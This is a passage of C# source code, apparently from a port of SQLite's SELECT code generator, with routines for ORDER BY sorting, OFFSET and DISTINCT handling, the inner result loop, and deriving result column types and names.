  */\n    static void pushOntoSorter(\n    Parse pParse,         /* Parser context */\n    ExprList pOrderBy,    /* The ORDER BY clause */\n    Select pSelect,       /* The whole SELECT statement */\n    int regData           /* Register holding data to be sorted */\n    )\n    {\n      Vdbe v = pParse.pVdbe;\n      int nExpr = pOrderBy.nExpr;\n      int regBase = sqlite3GetTempRange( pParse, nExpr + 2 );\n      int regRecord = sqlite3GetTempReg( pParse );\n      sqlite3ExprCacheClear( pParse );\n      sqlite3ExprCodeExprList( pParse, pOrderBy, regBase, false );\n      sqlite3VdbeAddOp2( v, OP_Sequence, pOrderBy.iECursor, regBase + nExpr );\n      sqlite3ExprCodeMove( pParse, regData, regBase + nExpr + 1, 1 );\n      sqlite3VdbeAddOp3( v, OP_MakeRecord, regBase, nExpr + 2, regRecord );\n      sqlite3VdbeAddOp2( v, OP_IdxInsert, pOrderBy.iECursor, regRecord );\n      sqlite3ReleaseTempReg( pParse, regRecord );\n      sqlite3ReleaseTempRange( pParse, regBase, nExpr + 2 );\n      if ( pSelect.iLimit != 0 )\n      {\n        int addr1, addr2;\n        int iLimit;\n        if ( pSelect.iOffset != 0 )\n        {\n          iLimit = pSelect.iOffset + 1;\n        }\n        else\n        {\n          iLimit = pSelect.iLimit;\n        }\n        addr1 = sqlite3VdbeAddOp1( v, OP_IfZero, iLimit );\n        sqlite3VdbeAddOp2( v, OP_AddImm, iLimit, -1 );\n        addr2 = sqlite3VdbeAddOp0( v, OP_Goto );\n        sqlite3VdbeJumpHere( v, addr1 );\n        sqlite3VdbeAddOp1( v, OP_Last, pOrderBy.iECursor );\n        sqlite3VdbeAddOp1( v, OP_Delete, pOrderBy.iECursor );\n        sqlite3VdbeJumpHere( v, addr2 );\n        pSelect.iLimit = 0;\n      }\n    }\n\n    /*\n    ** Add code to implement the OFFSET\n    */\n    static void codeOffset(\n    Vdbe v,          /* Generate code into this VM */\n    Select p,        /* The SELECT statement being coded */\n    int iContinue    /* Jump here to skip the current record */\n    )\n    {\n      if ( p.iOffset != 0 && iContinue != 0 )\n      {\n        int addr;\n        sqlite3VdbeAddOp2( v, OP_AddImm, p.iOffset, -1 );\n        addr = sqlite3VdbeAddOp1( v, OP_IfNeg, p.iOffset );\n        sqlite3VdbeAddOp2( v, OP_Goto, 0, iContinue );\n#if SQLITE_DEBUG\n        VdbeComment( v, \"skip OFFSET records\" );\n#endif\n        sqlite3VdbeJumpHere( v, addr );\n      }\n    }\n\n    /*\n    ** Add code that will check to make sure the N registers starting at iMem\n    ** form a distinct entry.  iTab is a sorting index that holds previously\n    ** seen combinations of the N values.  A new entry is made in iTab\n    ** if the current N values are new.\n    **\n    ** A jump to addrRepeat is made and the N+1 values are popped from the\n    ** stack if the top N elements are not distinct.\n    */\n    static void codeDistinct(\n    Parse pParse,     /* Parsing and code generating context */\n    int iTab,          /* A sorting index used to test for distinctness */\n    int addrRepeat,    /* Jump to here if not distinct */\n    int N,             /* Number of elements */\n    int iMem           /* First element */\n    )\n    {\n      Vdbe v;\n      int r1;\n\n      v = pParse.pVdbe;\n      r1 = sqlite3GetTempReg( pParse );\n      sqlite3VdbeAddOp3( v, OP_MakeRecord, iMem, N, r1 );\n      sqlite3VdbeAddOp3( v, OP_Found, iTab, addrRepeat, r1 );\n      sqlite3VdbeAddOp2( v, OP_IdxInsert, iTab, r1 );\n      sqlite3ReleaseTempReg( pParse, r1 );\n    }\n\n    /*\n    ** Generate an error message when a SELECT is used within a subexpression\n    ** (example:  \"a IN (SELECT * FROM table)\") but it has more than 1 result\n    ** column.  We do this in a subroutine because the error occurs in multiple\n    ** places.\n    */\n    static bool checkForMultiColumnSelectError(\n    Parse pParse,       /* Parse context. */\n    SelectDest pDest,   /* Destination of SELECT results */\n    int nExpr           /* Number of result columns returned by SELECT */\n    )\n    {\n      int eDest = pDest.eDest;\n      if ( nExpr > 1 && ( eDest == SRT_Mem || eDest == SRT_Set ) )\n      {\n        sqlite3ErrorMsg( pParse, \"only a single result allowed for \" +\n        \"a SELECT that is part of an expression\" );\n        return true;\n      }\n      else\n      {\n        return false;\n      }\n    }\n\n    /*\n    ** This routine generates the code for the inside of the inner loop\n    ** of a SELECT.\n    **\n    ** If srcTab and nColumn are both zero, then the pEList expressions\n    ** are evaluated in order to get the data for this row.  If nColumn>0\n    ** then data is pulled from srcTab and pEList is used only to get the\n    ** datatypes for each column.\n    */\n    static void selectInnerLoop(\n    Parse pParse,          /* The parser context */\n    Select p,              /* The complete select statement being coded */\n    ExprList pEList,       /* List of values being extracted */\n    int srcTab,            /* Pull data from this table */\n    int nColumn,           /* Number of columns in the source table */\n    ExprList pOrderBy,     /* If not NULL, sort results using this key */\n    int distinct,          /* If >=0, make sure results are distinct */\n    SelectDest pDest,      /* How to dispose of the results */\n    int iContinue,         /* Jump here to continue with next row */\n    int iBreak             /* Jump here to break out of the inner loop */\n    )\n    {\n      Vdbe v = pParse.pVdbe;\n      int i;\n      bool hasDistinct;         /* True if the DISTINCT keyword is present */\n      int regResult;            /* Start of memory holding result set */\n      int eDest = pDest.eDest;  /* How to dispose of results */\n      int iParm = pDest.iParm;  /* First argument to disposal method */\n      int nResultCol;           /* Number of result columns */\n\n      Debug.Assert( v != null );\n      if ( NEVER( v == null ) ) return;\n      Debug.Assert( pEList != null );\n      hasDistinct = distinct >= 0;\n      if ( pOrderBy == null && !hasDistinct )\n      {\n        codeOffset( v, p, iContinue );\n      }\n\n      /* Pull the requested columns.\n      */\n      if ( nColumn > 0 )\n      {\n        nResultCol = nColumn;\n      }\n      else\n      {\n        nResultCol = pEList.nExpr;\n      }\n      if ( pDest.iMem == 0 )\n      {\n        pDest.iMem = pParse.nMem + 1;\n        pDest.nMem = nResultCol;\n        pParse.nMem += nResultCol;\n      }\n      else\n      {\n        Debug.Assert( pDest.nMem == nResultCol );\n      }\n      regResult = pDest.iMem;\n      if ( nColumn > 0 )\n      {\n        for ( i = 0 ; i < nColumn ; i++ )\n        {\n          sqlite3VdbeAddOp3( v, OP_Column, srcTab, i, regResult + i );\n        }\n      }\n      else if ( eDest != SRT_Exists )\n      {\n        /* If the destination is an EXISTS(...) expression, the actual\n        ** values returned by the SELECT are not required.\n        */\n        sqlite3ExprCacheClear( pParse );\n        sqlite3ExprCodeExprList( pParse, pEList, regResult, eDest == SRT_Output );\n      }\n      nColumn = nResultCol;\n\n      /* If the DISTINCT keyword was present on the SELECT statement\n      ** and this row has been seen before, then do not make this row\n      ** part of the result.\n      */\n      if ( hasDistinct )\n      {\n        Debug.Assert( pEList != null );\n        Debug.Assert( pEList.nExpr == nColumn );\n        codeDistinct( pParse, distinct, iContinue, nColumn, regResult );\n        if ( pOrderBy == null )\n        {\n          codeOffset( v, p, iContinue );\n        }\n      }\n\n      if ( checkForMultiColumnSelectError( pParse, pDest, pEList.nExpr ) )\n      {\n        return;\n      }\n\n      switch ( eDest )\n      {\n        /* In this mode, write each query result to the key of the temporary\n        ** table iParm.\n        */\n#if !SQLITE_OMIT_COMPOUND_SELECT\n        case SRT_Union:\n          {\n            int r1;\n            r1 = sqlite3GetTempReg( pParse );\n            sqlite3VdbeAddOp3( v, OP_MakeRecord, regResult, nColumn, r1 );\n            sqlite3VdbeAddOp2( v, OP_IdxInsert, iParm, r1 );\n            sqlite3ReleaseTempReg( pParse, r1 );\n            break;\n          }\n\n        /* Construct a record from the query result, but instead of\n        ** saving that record, use it as a key to delete elements from\n        ** the temporary table iParm.\n        */\n        case SRT_Except:\n          {\n            sqlite3VdbeAddOp3( v, OP_IdxDelete, iParm, regResult, nColumn );\n            break;\n          }\n#endif\n\n        /* Store the result as data using a unique key.\n*/\n        case SRT_Table:\n        case SRT_EphemTab:\n          {\n            int r1 = sqlite3GetTempReg( pParse );\n            testcase( eDest == SRT_Table );\n            testcase( eDest == SRT_EphemTab );\n            sqlite3VdbeAddOp3( v, OP_MakeRecord, regResult, nColumn, r1 );\n            if ( pOrderBy != null )\n            {\n              pushOntoSorter( pParse, pOrderBy, p, r1 );\n            }\n            else\n            {\n              int r2 = sqlite3GetTempReg( pParse );\n              sqlite3VdbeAddOp2( v, OP_NewRowid, iParm, r2 );\n              sqlite3VdbeAddOp3( v, OP_Insert, iParm, r1, r2 );\n              sqlite3VdbeChangeP5( v, OPFLAG_APPEND );\n              sqlite3ReleaseTempReg( pParse, r2 );\n            }\n            sqlite3ReleaseTempReg( pParse, r1 );\n            break;\n          }\n\n#if !SQLITE_OMIT_SUBQUERY\n        /* If we are creating a set for an \"expr IN (SELECT ...)\" construct,\n** then there should be a single item on the stack.  Write this\n** item into the set table with bogus data.\n*/\n        case SRT_Set:\n          {\n            Debug.Assert( nColumn == 1 );\n            p.affinity = sqlite3CompareAffinity( pEList.a[0].pExpr, pDest.affinity );\n            if ( pOrderBy != null )\n            {\n              /* At first glance you would think we could optimize out the\n              ** ORDER BY in this case since the order of entries in the set\n              ** does not matter.  But there might be a LIMIT clause, in which\n              ** case the order does matter */\n              pushOntoSorter( pParse, pOrderBy, p, regResult );\n            }\n            else\n            {\n              int r1 = sqlite3GetTempReg( pParse );\n              sqlite3VdbeAddOp4( v, OP_MakeRecord, regResult, 1, r1, p.affinity, 1 );\n              sqlite3ExprCacheAffinityChange( pParse, regResult, 1 );\n              sqlite3VdbeAddOp2( v, OP_IdxInsert, iParm, r1 );\n              sqlite3ReleaseTempReg( pParse, r1 );\n            }\n            break;\n          }\n\n        /* If any row exist in the result set, record that fact and abort.\n        */\n        case SRT_Exists:\n          {\n            sqlite3VdbeAddOp2( v, OP_Integer, 1, iParm );\n            /* The LIMIT clause will terminate the loop for us */\n            break;\n          }\n\n        /* If this is a scalar select that is part of an expression, then\n        ** store the results in the appropriate memory cell and break out\n        ** of the scan loop.\n        */\n        case SRT_Mem:\n          {\n            Debug.Assert( nColumn == 1 );\n            if ( pOrderBy != null )\n            {\n              pushOntoSorter( pParse, pOrderBy, p, regResult );\n            }\n            else\n            {\n              sqlite3ExprCodeMove( pParse, regResult, iParm, 1 );\n              /* The LIMIT clause will jump out of the loop for us */\n            }\n            break;\n          }\n#endif // * #if !SQLITE_OMIT_SUBQUERY */\n\n        /* Send the data to the callback function or to a subroutine.  In the\n** case of a subroutine, the subroutine itself is responsible for\n** popping the data from the stack.\n*/\n        case SRT_Coroutine:\n        case SRT_Output:\n          {\n            testcase( eDest == SRT_Coroutine );\n            testcase( eDest == SRT_Output );\n            if ( pOrderBy != null )\n            {\n              int r1 = sqlite3GetTempReg( pParse );\n              sqlite3VdbeAddOp3( v, OP_MakeRecord, regResult, nColumn, r1 );\n              pushOntoSorter( pParse, pOrderBy, p, r1 );\n              sqlite3ReleaseTempReg( pParse, r1 );\n            }\n            else if ( eDest == SRT_Coroutine )\n            {\n              sqlite3VdbeAddOp1( v, OP_Yield, pDest.iParm );\n            }\n            else\n            {\n              sqlite3VdbeAddOp2( v, OP_ResultRow, regResult, nColumn );\n              sqlite3ExprCacheAffinityChange( pParse, regResult, nColumn );\n            }\n            break;\n          }\n\n#if !SQLITE_OMIT_TRIGGER\n        /* Discard the results.  This is used for SELECT statements inside\n** the body of a TRIGGER.  The purpose of such selects is to call\n** user-defined functions that have side effects.  We do not care\n** about the actual results of the select.\n*/\n        default:\n          {\n            Debug.Assert( eDest == SRT_Discard );\n            break;\n          }\n#endif\n      }\n\n      /* Jump to the end of the loop if the LIMIT is reached.\n      */\n      if ( p.iLimit != 0 )\n      {\n        Debug.Assert( pOrderBy == null );  /* If there is an ORDER BY, the call to\n** pushOntoSorter() would have cleared p.iLimit */\n        sqlite3VdbeAddOp2( v, OP_AddImm, p.iLimit, -1 );\n        sqlite3VdbeAddOp2( v, OP_IfZero, p.iLimit, iBreak );\n      }\n    }\n\n    /*\n    ** Given an expression list, generate a KeyInfo structure that records\n    ** the collating sequence for each expression in that expression list.\n    **\n    ** If the ExprList is an ORDER BY or GROUP BY clause then the resulting\n    ** KeyInfo structure is appropriate for initializing a virtual index to\n    ** implement that clause.  If the ExprList is the result set of a SELECT\n    ** then the KeyInfo structure is appropriate for initializing a virtual\n    ** index to implement a DISTINCT test.\n    **\n    ** Space to hold the KeyInfo structure is obtain from malloc.  The calling\n    ** function is responsible for seeing that this structure is eventually\n    ** freed.  Add the KeyInfo structure to the P4 field of an opcode using\n    ** P4_KEYINFO_HANDOFF is the usual way of dealing with this.\n    */\n    static KeyInfo keyInfoFromExprList( Parse pParse, ExprList pList )\n    {\n      sqlite3 db = pParse.db;\n      int nExpr;\n      KeyInfo pInfo;\n      ExprList_item pItem;\n      int i;\n\n      nExpr = pList.nExpr;\n      pInfo = new KeyInfo();//sqlite3DbMallocZero(db, sizeof(*pInfo) + nExpr*(CollSeq*.Length+1) );\n      if ( pInfo != null )\n      {\n        pInfo.aSortOrder = new byte[nExpr];// pInfo.aColl[nExpr];\n        pInfo.aColl = new CollSeq[nExpr];\n        pInfo.nField = (u16)nExpr;\n        pInfo.enc = db.aDbStatic[0].pSchema.enc;// ENC(db);\n        pInfo.db = db;\n        for ( i = 0 ; i < nExpr ; i++ )\n        {//, pItem++){\n          pItem = pList.a[i];\n          CollSeq pColl;\n          pColl = sqlite3ExprCollSeq( pParse, pItem.pExpr );\n          if ( pColl == null )\n          {\n            pColl = db.pDfltColl;\n          }\n          pInfo.aColl[i] = pColl;\n          pInfo.aSortOrder[i] = (byte)pItem.sortOrder;\n        }\n      }\n      return pInfo;\n    }\n\n\n    /*\n    ** If the inner loop was generated using a non-null pOrderBy argument,\n    ** then the results were placed in a sorter.  After the loop is terminated\n    ** we need to run the sorter and output the results.  The following\n    ** routine generates the code needed to do that.\n    */\n    static void generateSortTail(\n    Parse pParse,     /* Parsing context */\n    Select p,         /* The SELECT statement */\n    Vdbe v,           /* Generate code into this VDBE */\n    int nColumn,      /* Number of columns of data */\n    SelectDest pDest  /* Write the sorted results here */\n    )\n    {\n      int addrBreak = sqlite3VdbeMakeLabel( v );    /* Jump here to exit loop */\n      int addrContinue = sqlite3VdbeMakeLabel( v ); /* Jump here for next cycle */\n      int addr;\n      int iTab;\n      int pseudoTab = 0;\n      ExprList pOrderBy = p.pOrderBy;\n\n      int eDest = pDest.eDest;\n      int iParm = pDest.iParm;\n\n      int regRow;\n      int regRowid;\n\n      iTab = pOrderBy.iECursor;\n      if ( eDest == SRT_Output || eDest == SRT_Coroutine )\n      {\n        pseudoTab = pParse.nTab++;\n        sqlite3VdbeAddOp3( v, OP_OpenPseudo, pseudoTab, eDest == SRT_Output ? 1 : 0, nColumn );\n      }\n      addr = 1 + sqlite3VdbeAddOp2( v, OP_Sort, iTab, addrBreak );\n      codeOffset( v, p, addrContinue );\n      regRow = sqlite3GetTempReg( pParse );\n      regRowid = sqlite3GetTempReg( pParse );\n      sqlite3VdbeAddOp3( v, OP_Column, iTab, pOrderBy.nExpr + 1, regRow );\n      switch ( eDest )\n      {\n        case SRT_Table:\n        case SRT_EphemTab:\n          {\n            testcase( eDest == SRT_Table );\n            testcase( eDest == SRT_EphemTab );\n            sqlite3VdbeAddOp2( v, OP_NewRowid, iParm, regRowid );\n            sqlite3VdbeAddOp3( v, OP_Insert, iParm, regRow, regRowid );\n            sqlite3VdbeChangeP5( v, OPFLAG_APPEND );\n            break;\n          }\n#if !SQLITE_OMIT_SUBQUERY\n        case SRT_Set:\n          {\n            Debug.Assert( nColumn == 1 );\n            sqlite3VdbeAddOp4( v, OP_MakeRecord, regRow, 1, regRowid, p.affinity, 1 );\n            sqlite3ExprCacheAffinityChange( pParse, regRow, 1 );\n            sqlite3VdbeAddOp2( v, OP_IdxInsert, iParm, regRowid );\n            break;\n          }\n        case SRT_Mem:\n          {\n            Debug.Assert( nColumn == 1 );\n            sqlite3ExprCodeMove( pParse, regRow, iParm, 1 );\n            /* The LIMIT clause will terminate the loop for us */\n            break;\n          }\n#endif\n        default:\n          {\n            int i;\n            Debug.Assert( eDest == SRT_Output || eDest == SRT_Coroutine );\n            testcase( eDest == SRT_Output );\n            testcase( eDest == SRT_Coroutine );\n            sqlite3VdbeAddOp2( v, OP_Integer, 1, regRowid );\n            sqlite3VdbeAddOp3( v, OP_Insert, pseudoTab, regRow, regRowid );\n            for ( i = 0 ; i < nColumn ; i++ )\n            {\n              Debug.Assert( regRow != pDest.iMem + i );\n              sqlite3VdbeAddOp3( v, OP_Column, pseudoTab, i, pDest.iMem + i );\n            }\n            if ( eDest == SRT_Output )\n            {\n              sqlite3VdbeAddOp2( v, OP_ResultRow, pDest.iMem, nColumn );\n              sqlite3ExprCacheAffinityChange( pParse, pDest.iMem, nColumn );\n            }\n            else\n            {\n              sqlite3VdbeAddOp1( v, OP_Yield, pDest.iParm );\n            }\n            break;\n          }\n      }\n      sqlite3ReleaseTempReg( pParse, regRow );\n      sqlite3ReleaseTempReg( pParse, regRowid );\n\n      /* LIMIT has been implemented by the pushOntoSorter() routine.\n      */\n      Debug.Assert( p.iLimit == 0 );\n\n      /* The bottom of the loop\n      */\n      sqlite3VdbeResolveLabel( v, addrContinue );\n      sqlite3VdbeAddOp2( v, OP_Next, iTab, addr );\n      sqlite3VdbeResolveLabel( v, addrBreak );\n      if ( eDest == SRT_Output || eDest == SRT_Coroutine )\n      {\n        sqlite3VdbeAddOp2( v, OP_Close, pseudoTab, 0 );\n      }\n\n    }\n\n    /*\n    ** Return a pointer to a string containing the 'declaration type' of the\n    ** expression pExpr. The string may be treated as static by the caller.\n    **\n    ** The declaration type is the exact datatype definition extracted from the\n    ** original CREATE TABLE statement if the expression is a column. The\n    ** declaration type for a ROWID field is INTEGER. Exactly when an expression\n    ** is considered a column can be complex in the presence of subqueries. The\n    ** result-set expression in all of the following SELECT statements is\n    ** considered a column by this function.\n    **\n    **   SELECT col FROM tbl;\n    **   SELECT (SELECT col FROM tbl;\n    **   SELECT (SELECT col FROM tbl);\n    **   SELECT abc FROM (SELECT col AS abc FROM tbl);\n    **\n    ** The declaration type for any expression other than a column is NULL.\n    */\n    static string columnType(\n    NameContext pNC,\n    Expr pExpr,\n    ref string pzOriginDb,\n    ref string pzOriginTab,\n    ref string pzOriginCol\n    )\n    {\n      string zType = null;\n      string zOriginDb = null;\n      string zOriginTab = null;\n      string zOriginCol = null;\n      int j;\n      if ( NEVER( pExpr == null ) || pNC.pSrcList == null ) return null;\n\n      switch ( pExpr.op )\n      {\n        case TK_AGG_COLUMN:\n        case TK_COLUMN:\n          {\n            /* The expression is a column. Locate the table the column is being\n            ** extracted from in NameContext.pSrcList. This table may be real\n            ** database table or a subquery.\n            */\n            Table pTab = null;            /* Table structure column is extracted from */\n            Select pS = null;            /* Select the column is extracted from */\n            int iCol = pExpr.iColumn;  /* Index of column in pTab */\n            testcase( pExpr.op == TK_AGG_COLUMN );\n            testcase( pExpr.op == TK_COLUMN );\n            while ( pNC != null && pTab == null )\n            {\n              SrcList pTabList = pNC.pSrcList;\n              for ( j = 0 ; j < pTabList.nSrc && pTabList.a[j].iCursor != pExpr.iTable ; j++ ) ;\n              if ( j < pTabList.nSrc )\n              {\n                pTab = pTabList.a[j].pTab;\n                pS = pTabList.a[j].pSelect;\n              }\n              else\n              {\n                pNC = pNC.pNext;\n              }\n            }\n\n            if ( pTab == null )\n            {\n              /* FIX ME:\n              ** This can occurs if you have something like \"SELECT new.x;\" inside\n              ** a trigger.  In other words, if you reference the special \"new\"\n              ** table in the result set of a select.  We do not have a good way\n              ** to find the actual table type, so call it \"TEXT\".  This is really\n              ** something of a bug, but I do not know how to fix it.\n              **\n              ** This code does not produce the correct answer - it just prevents\n              ** a segfault.  See ticket #1229.\n              */\n              zType = \"TEXT\";\n              break;\n            }\n\n            Debug.Assert( pTab != null );\n            if ( pS != null )\n            {\n              /* The \"table\" is actually a sub-select or a view in the FROM clause\n              ** of the SELECT statement. Return the declaration type and origin\n              ** data for the result-set column of the sub-select.\n              */\n              if ( ALWAYS( iCol >= 0 && iCol < pS.pEList.nExpr ) )\n              {\n                /* If iCol is less than zero, then the expression requests the\n                ** rowid of the sub-select or view. This expression is legal (see\n                ** test case misc2.2.2) - it always evaluates to NULL.\n                */\n                NameContext sNC = new NameContext();\n                Expr p = pS.pEList.a[iCol].pExpr;\n                sNC.pSrcList = pS.pSrc;\n                sNC.pNext = null;\n                sNC.pParse = pNC.pParse;\n                zType = columnType( sNC, p, ref zOriginDb, ref zOriginTab, ref zOriginCol );\n              }\n            }\n            else if ( ALWAYS( pTab.pSchema ) )\n            {\n              /* A real table */\n              Debug.Assert( pS == null );\n              if ( iCol < 0 ) iCol = pTab.iPKey;\n              Debug.Assert( iCol == -1 || ( iCol >= 0 && iCol < pTab.nCol ) );\n              if ( iCol < 0 )\n              {\n                zType = \"INTEGER\";\n                zOriginCol = \"rowid\";\n              }\n              else\n              {\n                zType = pTab.aCol[iCol].zType;\n                zOriginCol = pTab.aCol[iCol].zName;\n              }\n              zOriginTab = pTab.zName;\n              if ( pNC.pParse != null )\n              {\n                int iDb = sqlite3SchemaToIndex( pNC.pParse.db, pTab.pSchema );\n                zOriginDb = pNC.pParse.db.aDb[iDb].zName;\n              }\n            }\n            break;\n          }\n#if !SQLITE_OMIT_SUBQUERY\n        case TK_SELECT:\n          {\n            /* The expression is a sub-select. Return the declaration type and\n            ** origin info for the single column in the result set of the SELECT\n            ** statement.\n            */\n            NameContext sNC = new NameContext();\n            Select pS = pExpr.x.pSelect;\n            Expr p = pS.pEList.a[0].pExpr;\n            Debug.Assert( ExprHasProperty( pExpr, EP_xIsSelect ) );\n            sNC.pSrcList = pS.pSrc;\n            sNC.pNext = pNC;\n            sNC.pParse = pNC.pParse;\n            zType = columnType( sNC, p, ref zOriginDb, ref zOriginTab, ref zOriginCol );\n            break;\n          }\n#endif\n      }\n\n      if ( pzOriginDb != null )\n      {\n        Debug.Assert( pzOriginTab != null && pzOriginCol != null );\n        pzOriginDb = zOriginDb;\n        pzOriginTab = zOriginTab;\n        pzOriginCol = zOriginCol;\n      }\n      return zType;\n    }\n\n    /*\n    ** Generate code that will tell the VDBE the declaration types of columns\n    ** in the result set.\n    */\n    static void generateColumnTypes(\n    Parse pParse,      /* Parser context */\n    SrcList pTabList,  /* List of tables */\n    ExprList pEList    /* Expressions defining the result set */\n    )\n    {\n#if !SQLITE_OMIT_DECLTYPE\n      Vdbe v = pParse.pVdbe;\n      int i;\n      NameContext sNC = new NameContext();\n      sNC.pSrcList = pTabList;\n      sNC.pParse = pParse;\n      for ( i = 0 ; i < pEList.nExpr ; i++ )\n      {\n        Expr p = pEList.a[i].pExpr;\n        string zType;\n#if SQLITE_ENABLE_COLUMN_METADATA\nconst string zOrigDb = 0;\nconst string zOrigTab = 0;\nconst string zOrigCol = 0;\nzType = columnType(&sNC, p, zOrigDb, zOrigTab, zOrigCol);\n\n/* The vdbe must make its own copy of the column-type and other\n** column specific strings, in case the schema is reset before this\n** virtual machine is deleted.\n*/\nsqlite3VdbeSetColName(v, i, COLNAME_DATABASE, zOrigDb, SQLITE_TRANSIENT);\nsqlite3VdbeSetColName(v, i, COLNAME_TABLE, zOrigTab, SQLITE_TRANSIENT);\nsqlite3VdbeSetColName(v, i, COLNAME_COLUMN, zOrigCol, SQLITE_TRANSIENT);\n#else\n        string sDummy = null;\n        zType = columnType( sNC, p, ref sDummy, ref sDummy, ref sDummy );\n#endif\n        sqlite3VdbeSetColName( v, i, COLNAME_DECLTYPE, zType, SQLITE_TRANSIENT );\n      }\n#endif //* SQLITE_OMIT_DECLTYPE */\n    }\n\n    /*\n    ** Generate code that will tell the VDBE the names of columns\n    ** in the result set.  This information is used to provide the\n    ** azCol[] values in the callback.\n    */\n    static void generateColumnNames(\n    Parse pParse,      /* Parser context */\n    SrcList pTabList,  /* List of tables */\n    ExprList pEList    /* Expressions defining the result set */\n    )\n    {\n      Vdbe v = pParse.pVdbe;\n      int i, j;\n      sqlite3 db = pParse.db;\n      bool fullNames; bool shortNames;\n\n#if !SQLITE_OMIT_EXPLAIN\n      /* If this is an EXPLAIN, skip this step */\n      if ( pParse.explain != 0 )\n      {\n        return;\n      }\n#endif\n\n      if ( pParse.colNamesSet != 0 || NEVER( v == null ) /*|| db.mallocFailed != 0 */ ) return;\n      pParse.colNamesSet = 1;\n      fullNames = ( db.flags & SQLITE_FullColNames ) != 0;\n      shortNames = ( db.flags & SQLITE_ShortColNames ) != 0;\n      sqlite3VdbeSetNumCols( v, pEList.nExpr );\n      for ( i = 0 ; i < pEList.nExpr ; i++ )\n      {\n        Expr p;\n        p = pEList.a[i].pExpr;\n        if ( NEVER( p == null ) ) continue;\n        if ( pEList.a[i].zName != null )\n        {\n          string zName = pEList.a[i].zName;\n          sqlite3VdbeSetColName( v, i, COLNAME_NAME, zName, SQLITE_TRANSIENT );\n        }\n        else if ( ( p.op == TK_COLUMN || p.op == TK_AGG_COLUMN ) && pTabList != null )\n        {\n          Table pTab;\n          string zCol;\n          int iCol = p.iColumn;\n          for ( j = 0 ; ALWAYS( j < pTabList.nSrc ) ; j++ )\n          {\n            if ( pTabList.a[j].iCursor == p.iTable ) break;\n          }\n          Debug.Assert( j < pTabList.nSrc );\n          pTab = pTabList.a[j].pTab;\n          if ( iCol < 0 ) iCol = pTab.iPKey;\n          Debug.Assert( iCol == -1 || ( iCol >= 0 && iCol < pTab.nCol ) );\n          if ( iCol < 0 )\n          {\n            zCol = \"rowid\";\n          }\n          else\n          {\n            zCol = pTab.aCol[iCol].zName;\n          }\n          if ( !shortNames && !fullNames )\n          {\n            sqlite3VdbeSetColName( v, i, COLNAME_NAME,\n            pEList.a[i].zSpan, SQLITE_DYNAMIC );//sqlite3DbStrDup(db, pEList->a[i].zSpan), SQLITE_DYNAMIC);\n          }\n          else if ( fullNames )\n          {\n            string zName;\n            zName = sqlite3MPrintf( db, \"%s.%s\", pTab.zName, zCol );\n            sqlite3VdbeSetColName( v, i, COLNAME_NAME, zName, SQLITE_DYNAMIC );\n          }\n          else\n          {\n            sqlite3VdbeSetColName( v, i, COLNAME_NAME, zCol, SQLITE_TRANSIENT );\n          }\n        }\n        else\n        {\n          sqlite3VdbeSetColName( v, i, COLNAME_NAME,\n              pEList.a[i].zSpan, SQLITE_DYNAMIC );//sqlite3DbStrDup(db, pEList->a[i].zSpan), SQLITE_DYNAMIC);\n        }\n      }\n      generateColumnTypes( pParse, pTabList, pEList );\n    }\n\n#if !SQLITE_OMIT_COMPOUND_SELECT\n    /*\n** Name of the connection operator, used for error messages.\n*/\n    static string selectOpName( int id )\n    {\n      string z;\n      switch ( id )\n      {\n        case TK_ALL: z = \"UNION ALL\"; break;\n        case TK_INTERSECT: z = \"INTERSECT\"; break;\n        case TK_EXCEPT: z = \"EXCEPT\"; break;\n        default: z = \"UNION\"; break;\n      }\n      return z;\n    }\n#endif // * SQLITE_OMIT_COMPOUND_SELECT */\n\n    /*\n** Given a an expression list (which is really the list of expressions\n** that form the result set of a SELECT statement) compute appropriate\n** column names for a table that would hold the expression list.\n**\n** All column names will be unique.\n**\n** Only the column names are computed.  Column.zType, Column.zColl,\n** and other fields of Column are zeroed.\n**\n** Return SQLITE_OK on success.  If a memory allocation error occurs,\n** store NULL in paCol and 0 in pnCol and return SQLITE_NOMEM.\n*/\n    static int selectColumnsFromExprList(\n    Parse pParse,          /* Parsing context */\n    ExprList pEList,       /* Expr list from which to derive column names */\n    ref int pnCol,             /* Write the number of columns here */\n    ref Column[] paCol          /* Write the new column list here */\n    )\n    {\n      sqlite3 db = pParse.db;     /* Database connection */\n      int i, j;                   /* Loop counters */\n      int cnt;                    /* Index added to make the name unique */\n      Column[] aCol; Column pCol; /* For looping over result columns */\n      int nCol;                   /* Number of columns in the result set */\n      Expr p;                     /* Expression for a single result column */\n      string zName;               /* Column name */\n      int nName;                  /* Size of name in zName[] */\n\n\n      pnCol = nCol = pEList.nExpr;\n      aCol = paCol = new Column[nCol];//sqlite3DbMallocZero(db, sizeof(aCol[0])*nCol);\n      if ( aCol == null ) return SQLITE_NOMEM;\n      for ( i = 0 ; i < nCol ; i++ )//, pCol++)\n      {\n        if ( aCol[i] == null ) aCol[i] = new Column();\n        pCol = aCol[i];\n        /* Get an appropriate name for the column\n        */\n        p = pEList.a[i].pExpr;\n        Debug.Assert( p.pRight == null || ExprHasProperty( p.pRight, EP_IntValue )\n        || p.pRight.u.zToken == null || p.pRight.u.zToken.Length > 0 );\n        if ( pEList.a[i].zName != null && ( zName = pEList.a[i].zName ) != \"\" )\n        {\n          /* If the column contains an \"AS <name>\" phrase, use <name> as the name */\n          //zName = sqlite3DbStrDup(db, zName);\n        }\n        else\n        {\n          Expr pColExpr = p;      /* The expression that is the result column name */\n          Table pTab;             /* Table associated with this expression */\n          while ( pColExpr.op == TK_DOT ) pColExpr = pColExpr.pRight;\n          if ( pColExpr.op == TK_COLUMN && ALWAYS( pColExpr.pTab != null ) )\n          {\n            /* For columns use the column name name */\n            int iCol = pColExpr.iColumn;\n            pTab = pColExpr.pTab;\n            if ( iCol < 0 ) iCol = pTab.iPKey;\n            zName = sqlite3MPrintf( db, \"%s\",\n            iCol >= 0 ? pTab.aCol[iCol].zName : \"rowid\" );\n          }\n          else if ( pColExpr.op == TK_ID )\n          {\n            Debug.Assert( !ExprHasProperty( pColExpr, EP_IntValue ) );\n            zName = sqlite3MPrintf( db, \"%s\", pColExpr.u.zToken );\n          }\n          else\n          {\n            /* Use the original text of the column expression as its name */\n            zName = sqlite3MPrintf( db, \"%s\", pEList.a[i].zSpan );\n          }\n        }\n        //if ( db.mallocFailed != 0 )\n        //{\n        //  //sqlite3DbFree( db, zName );\n        //  break;\n        //}\n\n        /* Make sure the column name is unique.  If the name is not unique,\n        ** append a integer to the name so that it becomes unique.\n        */\n        nName = sqlite3Strlen30( zName );\n        for ( j = cnt = 0 ; j < i ; j++ )\n        {\n          if ( sqlite3StrICmp( 